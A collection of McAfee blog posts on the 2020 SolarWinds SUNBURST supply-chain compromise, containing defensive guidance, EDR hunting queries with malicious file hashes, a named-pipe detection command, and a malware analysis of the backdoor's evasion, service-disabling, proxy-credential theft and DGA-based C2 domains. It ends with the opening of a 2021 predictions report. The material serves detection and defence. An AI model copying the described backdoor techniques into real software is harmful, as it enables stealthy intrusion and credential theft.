In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SolarWinds.Orion.Core.BusinessLayer.dll. The trojanized file delivers the SUNBURST malware through a backdoor as part of a digitally-signed Windows Installer Patch. Use of a Compromised Software Supply Chain (T1195.002) as an Initial Access technique is particularly critical as it can go undetected for a long period. FireEye released countermeasures that can identify the SUNBURST malware.

If you are using SolarWinds software, please refer to the company’s guidance here to check for vulnerable versions and patch information. McAfee has evaluated the published countermeasures and will continue to analyze further attack indicators. It’s important to note that this was a very sophisticated attack and customers are advised to assess their overall security architecture capability to either prevent, detect or respond to an APT threat. This attack reminds us that in today’s digital enterprise the supply chain includes many diverse elements including but not limited to critical equipment and hardware, cloud software and infrastructure as a service provider and critical IT software. Customers are advised to assess both intellectual property protection and supply chain integrity strategies. Part one of this blog series details initial McAfee defensive guidance and response actions. Part two will describe additional mitigation and solution recommendations.

Protection Summary

For the latest information on McAfee see KB93861and subscribe to receive updates. Below is protection summary to date for the known backdoor indicators

  • GTI Cloud and latest DAT has coverage for known indicators and C2 domains for the backdoor
  • McAfee Web Gateway can block known C2 domains
  • McAfee is continuing to review other detection approaches, including Real Protect and Endpoint Detection and Response
  • McAfee Advanced Threat Researchers continue to hunt for new indicators. Intelligence updates will be made available in MVISION Insights
  • Signatures are available for Network Security Platform to detect network indicators of compromise

McAfee Labs will continue analysis for any known indicators associated with this attack and update product protection accordingly.  Furthermore, analysis is underway to analyse the behavioural components of the campaign and ensure product efficacy considers protection beyond static measures such as signatures. 

Threat Intelligence Summary

MVISION Insights is tracking the campaign as SolarWinds Supply Chain Attack Affecting Multiple Global Victims with SUNBURST Backdoor.  Customers can view the public version of MVISION Insights for the latest attack details, prevalence, techniques used and indicators of compromise.

Figure 1: Attack Summary

Insights provides the indicators used by SUNBURST. The indicators will continue to update based on automated collection and human analysis. You can use the indicators to hunt on your network.  Note: This will be updated as new indicators are verified.

Figure 2: Campaign Indicators

Insights outlines the MITRE Att&ck techniques used by SUNBURST. You can use MITRE Att&ck framework to asses defensive capability across your security architecture.

Figure 3: Mitre Att&ck Framework

HUNTING FOR THE BACKDOOR INDICATORS

One of the first initial response actions should be to hunt for known indicators of the attack. You can use MVISION EDR or MAR to search endpoints for SUNBURST backdoor indicators as provided by Microsoft and FireEye. See the search syntax below. If you are licensed for MVISION Insights this query will take place automatically. Additional defensive guidance will be published in an upcoming blog.

 

Begin MVEDR Query Syntax…

 

Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”

 

…End MVEDR Query Syntax

 

You should also search McAfee Web Gateway logs (or other network and SIEM logs) for communication to command and control domains or IP addresses, particularly those categorized as “Malicious Sites” below. Continue to check MVISION Insights for new domains and URLs.

 

What’s Next

It’s important to note that ongoing analysis will be critical to understand how the attackers will adapt and what additional mitigation is required. This will be a continuous process and we expect to add multiple updates to KB93861. Additionally, customers should follow McAfee Labs posts, check Insights Public Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance. Part two of this blog will cover defensive capabilities and controls in more depth.

Additional McAfee Threat Intel Resources

Insights Trending Campaigns

Every week Insights Preview highlights the top emerging threats and campaigns based on ATR Operational Intelligence collection and analysis.

Atlas Dashboard

Follow the latest COVID Threat statistics on the public Atlas Dashboard.  For more information about how a customer can utilize Atlas and Intelligence as a Service from APG, speak to your McAfee Account Manager for a Threat Intel Briefing and Workshop.

Threat Research

McAfee Labs and Advanced Threat Research teams produce regular research reports with the latest threat intelligence statistics and trends. Please share the reports with customers.

McAfee Threat Intelligence Blogs

Review and Share our external blogs that feature deeper malware analysis and explanations on emerging threats and attack campaigns.

The post SUNBURST Malware and SolarWinds Supply Chain Compromise appeared first on McAfee Blog.

Additional Analysis into the SUNBURST Backdoor

17 December 2020 at 23:27

Executive Summary

There has been considerable focus on the recent disclosures associated with SolarWinds, and while existing analysis on the broader campaign has resulted in detection against specific IoCs associated with the Sunburst trojan, the focus within the Advanced Threat Research (ATR) team has been to determine the possibility of additional persistence measures. Our analysis into the backdoor reveals that the level of access lends itself to the assumption that additional persistence mechanisms could have been established and some inferences regarding the intent from adversaries;

  • An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”. The ImprovementClient is a program that can collect considerable information such as count of Orion user accounts by authentication method and data about devices and applications monitored.
  • Observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of Cloud and/or wireless networks of their victims.
  • Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2.

Available Resources

Although this analysis will focus on the premise that the backdoor supports the feasibility of establishing additional persistence methods we recognize the importance of providing assurance regarding coverage against available indicators. To that end the following resources are available:

Additional resources will become available as analysis both conducted by McAfee researchers, and the wider community becomes available.

Backdoor Analysis

There exists excellent analysis from many of our industry peers into the SUNBURST trojan, and the intention here is not to duplicate findings but to provide analysis we have not seen previously covered. The purpose is to enable potential victims to better understand the capabilities of the campaign in an effort to consider the possibility that there are additional persistence mechanisms.

For the purposes of this analysis our focus centered upon the file “SolarWinds.Orion.Core.BusinessLayer.dll“, this particular file, as the name suggests, is associated with the SolarWinds ORION software suite and was modified with a class added containing the backdoor “SunBurst”.

Figure 1 Added module and dependencies

A deeper dive into the backdoor reveals that the initial call is to the added class “OrionImprovementBusinessLayer” which has the following functions:

 

Figure 2 Start of the inserted class

The class starts with a check to see if the module is running and, if not, it will start the service and thereafter initiate a period of dormancy.

 

Figure 3 Sleep sequence of backdoor

As was detailed by FireEye, this period of sleep can range from minutes up to two weeks. The actual time period of dormancy is dependent on the checks that must be passed from the code, like hash of the Orion process, write-times of files, process running etc. A sleep period of this length of time is unusual and speaks to a very patient adversary.

The most important strings inside the backdoors are encoded with the DeflateStream Class of the .NET’s Compression library together with the base64 encoder. By examining the block-list, we discover findings that warrant further inspection. First entries are the local-IP address ranges and netmasks:

  • 10.0.0.0 255.0.0.0
  • 172.16.0.0 255.240.0.0
  • 192.168.0.0 255.255.0.0

Followed by the IPv6 local addresses equivalents:
fc00::,fe00::, fec0::,ffc0::,ff00::,ff00::

Next, there is a list of IP-addresses and their associated subnetmasks. We executed a whois on those IP-addressees to get an idea of whom they might belong to. There is no indication as to the reason that the following IPs have been inserted into the blocklist, although the netmasks implemented in certain entries are ‘quite’ specific, therefore we have to assume the attackers were intentional in their desire to avoid certain targets.

Assuming that the victim is not within the block list, the sample will then proceed to create the named pipe 583da945-62af-10e8-4902-a8f205c72b2e. This is done to ensure that only one instance of the backdoor is running. We were able to verify this through replication we carried out within our own environment.

Figure 4 Running of Backdoor

When we ran the backdoor, we were able to confirm that this value is hardcoded in the code, and once the dormancy period passed the service is started and named pipe is created. At this point, the backdoor will also create a unique UserID MD5 value for the system it is installed on as depicted within figure 5.

Figure 5 Creation of User-ID

This particular routine will initially read the Device-info of the system but ignore the loopback interfaces (part of the code of the ReadDeviceInfo routine that mentions “Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true” ). The Device-info will then be combined with the domain name, followed by a value from the registry key (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography). This information is then used to create an MD5 value of that string.

The module will start the ‘update’ routine. This routine is a continuous loop designed for verification against, for example, unwanted services that could potentially be used against detection of the backdoor as depicted in figure 6.

 

Figure 6 Update Loop

Information Gathering

The backdoor gathers information from the system. The following information is gathered by a routine called “CollectSystemDescription”, some examples include;

  • OS version, major /minor – is it 32 or 64 bits
  • Network configs, info on IP, NetBIOS, IPV6 etc.
  • Host, SID & Username & System directory. In particular the SID for the Administrator account is searched for.

There exists other subroutines to collect additional data, for example enumerating the information from the network-adaptors, the backdoor uses the GetNetworkAdapterConfiguration routine. The routine is gathering the following information:

Figure 7 Gathering network information

In order to check if certain ‘unwanted’ services are running, the backdoor enumerates the services, creates a hashlist and compares them with a hard-coded set of these values. The ‘update’ routine will exit once a ‘block-listed’ process id discovered. The backdoor will attempt to stop these services by entering a value in the registry for that service that will disable that service. The update routine will check again and continue this process until all unwanted processes are disabled.
Another capability of the backdoor is to start/stop tasks:

Figure 8 Kill/Run task routine

Other functionalities we observed in the code are:

  • SetTime
  • CollectSystemDescription
  • UploadSystemDescription
  • GetProcessByDescription
  • GetFileSystemEntries
  • WriteFile
  • FileExists
  • DeleteFile
  • GetFileHash
  • ReadRegistryValue
  • SetRegistryValue
  • DeleteRegistryValue
  • GetRegistrySubKeyAndValueNames
  • Reboot

An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”.

Figure 9 Searching for ImprovementClient

The ImprovementClient is a program that can collect the following information (source SolarWinds) :

  • The SWID (SolarWinds ID) associated with any SolarWinds commercial licenses installed
  • The email address provided to the installer during installation
  • Unique identifier of the downloaded installer
  • Versions of all Orion products installed
  • Operating system version
  • CPU description and count
  • Physical memory installed and percent used
  • Time zone
  • Dates when you logged in to the Orion website
  • Licensing information of other SolarWinds Orion products locally installed
  • Row counts for database tables
  • Count of monitored nodes by polling protocol
  • Count of Orion user accounts by authentication method
  • Network discovery scheduling information (not results)
  • Data about devices and applications monitored:
    • Vendor
    • Model
    • OS/Firmware version
    • Count
    • Abstract configuration information, such as number of websites hosted
  • Data about the SolarWinds product:
    • Feature usage statistics
    • Performance statistics
    • Hardware and OS platform description

Another observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of cloud and/or wireless networks of their victims by using the SolarWinds’ modules that are installed to monitor/administer these kinds of instances. Managing the network using SolarWinds’ Orion is executed by using a browser and localhost that is hosting the webserver. Reading out the certificate values and search for these keywords in the http-traffic would have gained this information.

Figure 10 Search for keywords

Network / DGA

After all checks and routines have passed, the backdoor will use a domain generating algorithm (hereafter DGA) to generate a domain. Example of the part of the DGA code:

Figure 11 DGA code example

When the domain is successfully reached, the routine called ‘Update’ contains a part that will act on this and start a new thread firing off the routine “HttpHelper.Initialize”. In the below screenshot we can observe that flow:

Figure 12 DGA, HttpHelper

The code shows that when the dnsrecord equals the domain and can be reached, the new thread will start in the background.

The ‘HttpHelper’ class/routine is responsible for all the C2 communications:

Figure 13 HttpHelp

Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2. It then uses a routine called “IWebProxy GetWebProxy” for that:

Figure 14 Getting proxy username and pwd

The DGA-generated C2s are subdomains of: avsvmcloud[.]com.
An example of how these domains would look:

  • 02m6hcopd17p6h450gt3.appsync-api.us-west-2.avsvmcloud.com
  • 039n5tnndkhrfn5cun0y0sz02hij0b12.appsync-api.us-west-2.avsvmcloud.com
  • 043o9vacvthf0v95t81l.appsync-api.us-east-2.avsvmcloud.com
  • 04jrge684mgk4eq8m8adfg7.appsync-api.us-east-2.avsvmcloud.com
  • 04r0rndp6aom5fq5g6p1.appsync-api.us-west-2.avsvmcloud.com
  • 04spiistorug1jq5o6o0.appsync-api.us-west-2.avsvmcloud.com

Inspecting the CNAME’s from the DGA-generated C2’s we observed the following domain-names:

  • freescanonline[.]com
  • deftsecurity[.]com
  • thedoccloud[.]com
  • websitetheme[.]com
  • highdatabase[.]com
  • incomeupdate[.]com
  • databasegalore[.]com
  • panhardware[.]com
  • Zupertech[.]com
  • Virtualdataserver[.]com
  • digitalcollege[.]org

In the forementioned HTTP handler code, we discovered paths that might be installed on the C2’s for different functions:

  • swip/upd/
  • swip/Events
  • swip/Upload.ashx

Once the backdoor is connected, depending on the objectives from the adversaries, multiple actions can be executed including the usage of multiple payloads that can be injected into memory. At the time of writing, details regarding the ‘killswitch’ against the above domain will prevent this particular backdoor from being operational, however for the purpose of this analysis it demonstrates the level of access afforded to attackers. While the efforts to sinkhole the domain are to be applauded, organisations that have been able to identify indicators of SUNBURST within their environment are strongly encouraged to carry out additional measures to provide themselves assurances that further persistent mechanisms have not been deployed.

The post Additional Analysis into the SUNBURST Backdoor appeared first on McAfee Blog.

How A Device to Cloud Architecture Defends Against the SolarWinds Supply Chain Compromise

21 December 2020 at 21:32

In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SoalrWinds.Orion.Core.BusinessLayer.dll delivered as part of a digitally-signed Windows Installer Patch. The trojanized file delivers a backdoor, dubbed SUNBURST by FireEye (and Solorigate by Microsoft), that communicates to third-party servers for command and control and malicious file transfer giving the attacker a foothold on the affected system with elevated privileges. From there, additional actions on the objective, such as lateral movement and data exfiltration, are possible. Since release of the initial blog from FireEye, subsequent additional analysis by McAfee and the industry as well as alerts by CISA, we have seen the attack grow in size, breadth and complexity. We will continue to update defensive recommendation blogs like this as new details emerge.

The use of a compromised software supply chain as an Initial Access technique (T1195.002) is particularly dangerous as the attack uses assumed trusted paths and as such can go undetected for a long period. This attack leveraged several techniques, such as trusted software, signed code and stealthy hiding-in-plain-sight communication, allowing the attacker to evade even strong defenses and enjoy a long dwell before detection. The sophisticated nature of the attack suggests that an Advanced Persistent Threat (APT) Group is likely responsible. In fact, FireEye is tracking the group as UNC2452 and has released countermeasures to identify the initial SUNBURST backdoor. McAfee has also provided an intelligence summary within MVISION Insights and mitigation controls for the initial entry vectors are published in KB93861. For additional response actions, please view Part One of this blog series here. If you are using SolarWinds software, please refer to the company guidance here to check for vulnerable versions and patch information.

However, looking beyond the initial entry and containment actions, you should think about how you are prepared for this type of attack in the future. This is a sophisticated actor(s) who may use other techniques such as Spearphishing to gain access, then move around the corporate network and potentially steal intellectual property as was the case with FireEye. They will change techniques and tools, so you need to be ready. Our Advanced Threat Research team tracks over 700 APT and Cyber Crime campaigns so the potential for another threat actor to launch a similar attack is high. In this blog, we will take a specific look at the techniques used in the SolarWinds compromise and provide some guidance on how McAfee solutions could help you respond now and prepare for this type of threat in the future with an adaptable security capability for resilience.

Attack Chain Overview

In our first blog in this series, we provided some initial response guidance designed to disrupt the attack early in the Execution phase or look retrospectively on the endpoints or proxy logs for indicators of compromise. But as you can see in the attack timeline below, it started much earlier with purposeful and detailed preparation and includes multiple other steps. A couple of techniques speak volumes about the sophistication and planning involved in this campaign.

Figure 1: SUNBURST Attack Progression

First is the choice of entry vector. The attacker in this case compromised part of the software supply chain by weaponizing software by SolarWinds, a major brand of IT management software. While software supply chain compromises are not new, like the recent one affecting JavaScript, they are typically on a smaller scale or more quickly detected. More common initial access techniques involve Spearphishing or taking advantage of open remote services like RDP. While both take planning and effort, weaponizing software from a major technology company and going undetected in that process is no easy feat. Secondly, the calculated wait time before external communication and the custom Domain Generation Algorithm (DGA) indicate the attacker has a lot of patience and stealth capability. For more detailed analysis of these advanced techniques, see McAfee Labs additional analysis blog on the SUNBURST backdoor.

The attack also involves numerous post-exploitation actions such as command and control communication masquerading (T1001.003) as normal update traffic, additional payload transfers (T1105), system discovery, credential harvesting and potentially then movement to other systems, even cloud-hosted infrastructure systems. The goal of course is to disrupt or detect any stage of attack before the breakout point and hopefully before any real impact to the business. The breakout point is when an attacker has gained privileges and starts to move laterally within the business. At that point, it becomes very difficult but not impossible to disrupt or detect the activity. But you must act fast. The impact of the attack can vary. In one case, it could be loss of intellectual property, but in another case, destruction of critical systems or data could be the goal. Also, what if the attacker used other initial access techniques, such as Spearphishing (T1566), to deliver a similar backdoor? Would you be able to detect that activity or any of the follow actions? Our point is don’t just update the endpoint with the latest DAT and consider yourself secure. Look for other ways to disrupt or detect an attack throughout the whole attack chain, leveraging both prevention and detection capability and keeping the end goal in mind to reduce impact to the business. Also think about how you prepare. The attackers in this case spent a lot of time in preparation creating custom malware and infrastructure. How about your organization? Do you know what attackers might be targeting your organization? Do you know their tactics and techniques?

Staying Ahead with MVISION Insights

In the first hours of a new threat campaign, if the CIO or CISO asked you, “are we exposed to SUNBURST”, how long would it take you to answer that question? One place to turn is MVISION Insights. MVISION Insights combines McAfee’s Threat Intelligence research with telemetry from your endpoint controls to reduce your attack surface against emerging threats. MVISION Insights tracks over 700 APT and Cyber Crime campaigns as researched by McAfee’s ATR team, including the most recent, FireEye Red Team tool release and SolarWinds Supply Chain Compromise campaigns.

Figure 2: Getting details on the attack

In the beginning hours of a new threat response, you can use MVISION Insights to get a quick summary of the threat, view external resources, and a list of known indicators such as files, URLs, or IP addresses. The campaign summary saves you from some of the time-consuming task of combing multiple sites, downloading reports, and building out the broader picture. MVISION Insights provides critical pieces in one place allowing you to move quicker through the response process. The next question to answer, is this new attack a risk to my business? Insights can help you answer that question as well when you click on “Your Environment”.

Figure 3: Quick review of your exposure

Insights automatically correlates the indicators of compromise with Threat Events from McAfee ENS, allowing you to quickly asses if there is an immediate problem now. If you had a detection, you should immediately go to incident response. Insights reviews your endpoint control configuration to asses if you have the right content update deployed to potentially disrupt the threat. At this point, you are closer to answer the CIO question of “are we exposed”. I say closer because Insights provides only the endpoint protection view currently so you will need to review other controls you have in place to fully assess risk.

Figure 4: Detail review of your exposure

However, Insights also assesses your endpoint security posture against other advanced threat techniques, looking to see if you are getting the best value from ENS by leveraging signature, intelligence and behavior anomaly detection capability in the solution. This is important because the attackers will change tactics, using new entry techniques and tools, so your security posture must continuously adapt. And this is just one campaign. Insights is summarizing intelligence, surfacing detections and reducing your attack surface continuously, against 700 campaigns!

Review your Defensive Architecture

Mitigating risk from SUNBURST and similar sophisticated APT campaigns requires a security architecture that provides defense in depth and visibility throughout the entire attack chain. You should review your architecture and assess gaps either in technique visibility or protection capability. Below we have outlined where McAfee and partner solutions could be used to either disrupt or detect some of the attack techniques used in SUNBURST based on what we know today.

Figure 5:  Device to Cloud Security Architecture

While the attacker is no doubt sophisticated and stealthy, the multi-stage aspect of the attack presents opportunities to detect or stop at multiple points and perhaps even before the attack gains a foothold. We cover more about how to use McAfee EDR to search for or detect some of the techniques used in SUNBURST in next section. However, there are some other key cyber defense capabilities that may be overlooked in your organizations but are critical to having a chance at detection and mitigation. We highlight those in this section below.

Getting inside the attacker’s preparation

Normally this is beyond what most organizations have time to do. However, in this case, you need to gain any advantage. We discussed MVISION Insights above so here we will cover additional guidance. During the preparation phase of this attack, the attacker obtains infrastructure within the target geo to host their command and control server. During this phase, they also set the hostnames of their C2 servers to mimic target organization hostnames. A scan for your domain names on external IP blocks can reveal the attack formation. Open source tools such as Spiderfoot offer a number of plugins to gather and analyze such types of data. Passive DNS with combination of hosts communicating with unusual domain names also represent a window of detection whereby Advanced DNS Protection solutions such as from our SIA partner Infoblox can detect behavior-based DGA usage by malware and automatically block such DNS resolution requests.

Visibility on DNS

DNS queries often provide the first layers of insights into any type of C2 communication and data exfiltration. You should enable logging ideally at an upstream resolver(s) where you can see traffic from your entire infrastructure. More information can be found here for Windows DNS Servers and Linux Bind DNS Servers.  This could be forwarded to McAfee ESM/other SIEMs for analysis and correlation for detection of DGA-type activities.

NetFlow Logging

Being able to detect unusual flows should also be a priority for incident responders. Along with DNS queries, NetFlow data when combined with UBA provides a great source of detection, as the attackers’ use of VPS providers can be combined with user login data to detect an “impossible rate of travel event.”

Hunting for Indicators with MVISION EDR

As described in the defensive architecture, MVISION EDR plays a vital role in hunting for prevalence of indicators related to the SUNBURST backdoor and ensuing post compromise activity. The role of MVISION EDR becomes even more important due to the usage of manual OPSEC by the threat actor where what follows the initial breach is driven by how the threat actor is targeting the organisation.

Hunting for Presence of Malicious Files

You can use MVISION EDR or MAR to search endpoints for SUNBURST indicators as provided by Microsoft and FireEye. If you are licensed for MVISION Insights, you can pivot directly to MVISION EDR to search for indicators. MVISION EDR supports real-time searches to hunt for presence of files on the endpoints and allows for sweeps across the estate. The following query can be used with the pre-populated malicious file hash list. The presence of the file on the system is itself does not mean it was successful and further hunting to check for execution of the actual malicious code on the system.is needed. See the search syntax below.

 

Begin MVEDR Query Syntax…

Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”

 

…End MVEDR Query Syntax

Figure 6: Real Time Search for indicators

Additionally, you can do a historical search creation and deletion of files going back up to 90 days in cloud storage.

Figure 7: Historical Search and Modification of Files

The threat actor is known to rename system utilities/files and clean up their tracks. MVISION EDR can review historical changes to the file system, this is crucial in determining if an endpoint was a victim of this attack. The flexible search interface can be used to filter down and track the progress of the completion of the attacker’s objectives for e.g. look at changes triggered from the infected dll’s such as netsetupsvc.dll.

Hunting for Malicious Network Connections

MVISION EDR allows for tracing of active network connections leveraging the real time search functionalities

 

Figure 8: Realtime Network Connections

You can also leverage the historical search function to look for historical connections related to the command and control activity for this threat actor. The filtering by process ID and source/destination IP allows analysts to track down the malicious communications.

Figure 9: Historical Network Connections

MVISION EDR also allows analysts to review historical DNS lookups thus allowing for the ability to hunt for malicious DNS lookups. This is a very important capability in the product as many organizations do not log DNS or have a DNS hierarchy that makes it harder to log the end device making the actual request.

Figure 10: Historical DNS Searches

Hunting for Malicious Named Pipes Across the Estate

MVISION EDR includes custom collector creation ability that allows for execution of custom commands across the estate. In this case, it’s possible to look for the existence of the Named Pipes by executing the following Powershell command:

Figure 11: EDR Named Pipe Collector

Powershell Command for Pipe detection [System.IO.Directory]::GetFiles(“\\.\\pipe\\”) | %{($_ -split “\\”)[6]}

Figure 12: Realtime Search for Named Pipe

HostInfo hostname, ip_address, os where _NamedPipe pipename contains “583da945-62af-10e8-4902-a8f2 05c72b2e”

Hunting for Malicious Processes

It is known the attacker in its final stages leverages legitimate SolarWinds processes to complete their objectives:

 

\Windows\SysWOW64\WerFault.exe

\SolarWinds\Orion\ExportToPDFCmd.Exe

\SolarWinds\Orion\APM\APMServiceControl.exe

\SolarWinds.Credentials\SolarWinds.Credentials.Orion.WebApi.exe

\SolarWinds\Orion\Topology\SolarWinds.Orion.Topology.Calculator.exe

\SolarWinds\Orion\Database-Maint.exe

 

ProcessHistory parentname, name, id, cmdline WHERE ProcessHistory parentname equals “WerFault.exe” or ProcessHistory parentname equals “ExportToPDFCmd.Exe” or ProcessHistory parentname equals “APMServiceControl.exe” or ProcessHistory parentname equals “SolarWinds.Credentials.Orion.WebApi.exe” or ProcessHistory parentname equals “SolarWinds.Orion.Topology.Calculator.exe” or ProcessHistory parentname equals “\SolarWinds\Orion\Database-Maint.exe”

Hunting back longer than 90 days with EDR Trace Data

MVISION EDR’s architecture leverages the Data Exchange Layer to stream trace data to our cloud service where we apply analytics to identify or investigate a threat. Trace data are artifacts from the endpoint, such as file hashes, processes, communications, typically needed for endpoint detection and searches. The DXL architecture allows that data to be streamed to the cloud as well to a local data store such as a SIEM or other log storage like Elastic simultaneously.

Figure 14: Long term search of EDR trace data in a Kibana dashboard

 

Figure 15: Long term search of EDR trace data in a Sp dashboard

You can store the data longer than the 90-day maximum McAfee stores in our cloud. Why is this important? Recent analysis of SUNBURST suggests that the attack goes as far back as March 2020, and perhaps earlier. This local storage would provide capability to hunt for indicators further back as needed, if so configured.

Assessing Visibility

How do you know what data sources are needed to detect Mitre Att&ck tactics and techniques? Carlos Diaz from MVISION EDR engineering wrote a great tool called Mitre-Assistant to simplify that process. You can download that tool here.

Detecting Actions on Objective

Post Initial Exploit Threat Detection and Analysis in EDR

One of the key challenges threat hunters and security analysts face is where the attack progresses through to the second phase of the attack, where it is understood the attacker has dropped malware to execute and complete their objectives. This usage of sophisticated execution of malware from a trusted process is detected by MVISION EDR and automatically mapped to the MITRE ATT&CK Framework. As part of the detection and process tracing, EDR also captures the command executed on the endpoint. This becomes invaluable in case of tracking the manual OPSEC aspect of the second phase of the attack.

Figure 16: Mitre analysis and threat detection for post exploit execution

MVISION EDR provides extensive capabilities to respond to threats once they have been assessed, e.g. real-time searches once executed allows analysts to scope the affected endpoints rapidly at which point the solution offers multiple options as a method for containment and remediation of the threat across the estate through bulk operations.

Figure 17: EDR Bulk Threat Mitigation

Detecting Data Exfiltration, Lateral Movement and Prevention

MVISION EDR provides a way to easily visualize data egress by looking at topology view of the endpoints where malicious activity has been detected, by observing the network-flow map the outlier connections can be easily identified and then correlated with WHOIS, IP reputation and Passive DNS data from providers like McAfee GTI and Virustotal. Once established, the external connections can be blocked and the endpoint can be quarantined from the EDR console. EDR also shows common processes spawning across multiple endpoints to showcase lateral movement and is also tagged as part of the MITRE techniques being identified and detected.

Figure 18: EDR Lateral Movement and Exfiltration

Combining EDR with Deception technology such as that from Attivo Networks brings together a combination of offensive detection where the attacker can be effectively trapped as result of not getting hold of the real credentials required to make the lateral movement/ privilege escalation a success thus failing in their objective completion.

An integrated approach to DLP can also provide effective protection against the completion of the objectives for e.g. unified DLP policy across the endpoint and web-gateway looking for exfiltration of sensitive organizational data can also provide valuable defenses. McAfee’s UCE platform provides such unified data protection capabilities.

Cloud account compromise detection

Our latest research indicates attacker is actively looking to establish additional footholds into customer cloud environments such as Azure AD or bypass multi-factor authentication by hijacking SAML sessions, McAfee’s MVISION Cloud Access Control and User Anomaly Detection can identify suspicious access attempts to cloud services and infrastructure.

It is recommended to increase monitoring and investigations into such activity especially with privileged accounts on sensitive infrastructure

Supply Chain and Intellectual Property Protection

In addition to architecture review and continuous hunting for indicators, it is recommended that customers work with their suppliers – IT, Cloud Services, Infrastructure, Hardware, etc. – to validate integrity. Secondly, review controls, detection use cases in the SOC and logs, specifically related to your intellectual property. A tabletop exercise to rehearse crisis management and breach notification procedures is also recommended.

Summary and Next Steps

It’s important to note that analysis of this attack is ongoing across the globe and events are still unfolding. The presence/detection of the backdoor and affected software is just the beginning for many customers. MVISION EDR or other tool detections of malicious named-pipe presence and domains help indicate to a customer if the backdoor was running, but with the gathered system information, the adversary may have valid accounts and access to AD or Cloud systems in some cases. The adversary has been wiping information/log files to erase traces. Incident Response is a critical piece of your overall business resilience and if you are affected, you will no doubt be asking yourself these types of questions.

  • When did we install the vulnerable software?
  • Did they compromise user-accounts and have AD access?
  • Did they install additional backdoors?
  • How many systems and accounts are affected?
  • Were cloud or enterprise resources accessed?
  • Was information stolen? If so, do we have notification procedures?
  • Are there other supply chain compromises yet undiscovered?

McAfee will continue to post analysis results and defensive guidance as we learn more about the attack. Customers should follow McAfee Labs posts, check the Insights Preview Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance.

The post How A Device to Cloud Architecture Defends Against the SolarWinds Supply Chain Compromise appeared first on McAfee Blog.

2021 Threat Predictions Report

By: McAfee
13 January 2021 at 09:00

The December 2020 revelations around the SUNBURST campaigns exploiting the SolarWinds Orion platform have revealed a new attack vector – the supply chain – that will continue to be exploited.

The ever-increasing use of connected devices, apps and web services in our homes will also make us more susceptible to digital home break-ins. This threat is compounded by many individuals continuing to work from home, meaning this threat not only impacts the consumer and their families, but enterprises as well.

Attacks on cloud platforms and users will evolve into a highly polarized state where they are either “mechanized and widespread” or “sophisticated and precisely handcrafted”.

Mobile users will need to beware of phishing or smishing messages aimed at exploiting and defrauding them through mobile payment services.

The use of QR codes has notably accelerated during the pandemic, raising the specter of a new generation of social engineering techniques that seek to exploit consumers and gain access to their personal data.

Finally, the most sophisticated threat actors will increasingly use social networks to target high value individuals working in sensitive industry sectors and roles.

A new year offers hope and opportunities for consumers and enterprises, but also more cybersecurity challenges. I hope you find these helpful in planning your 2021 security strategies.

–Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research 

Twitter @Raj_Samani 

2021 Predictions  

1.

Supply Chain Backdoor Techniques to Proliferate 

By Steve Grobman 

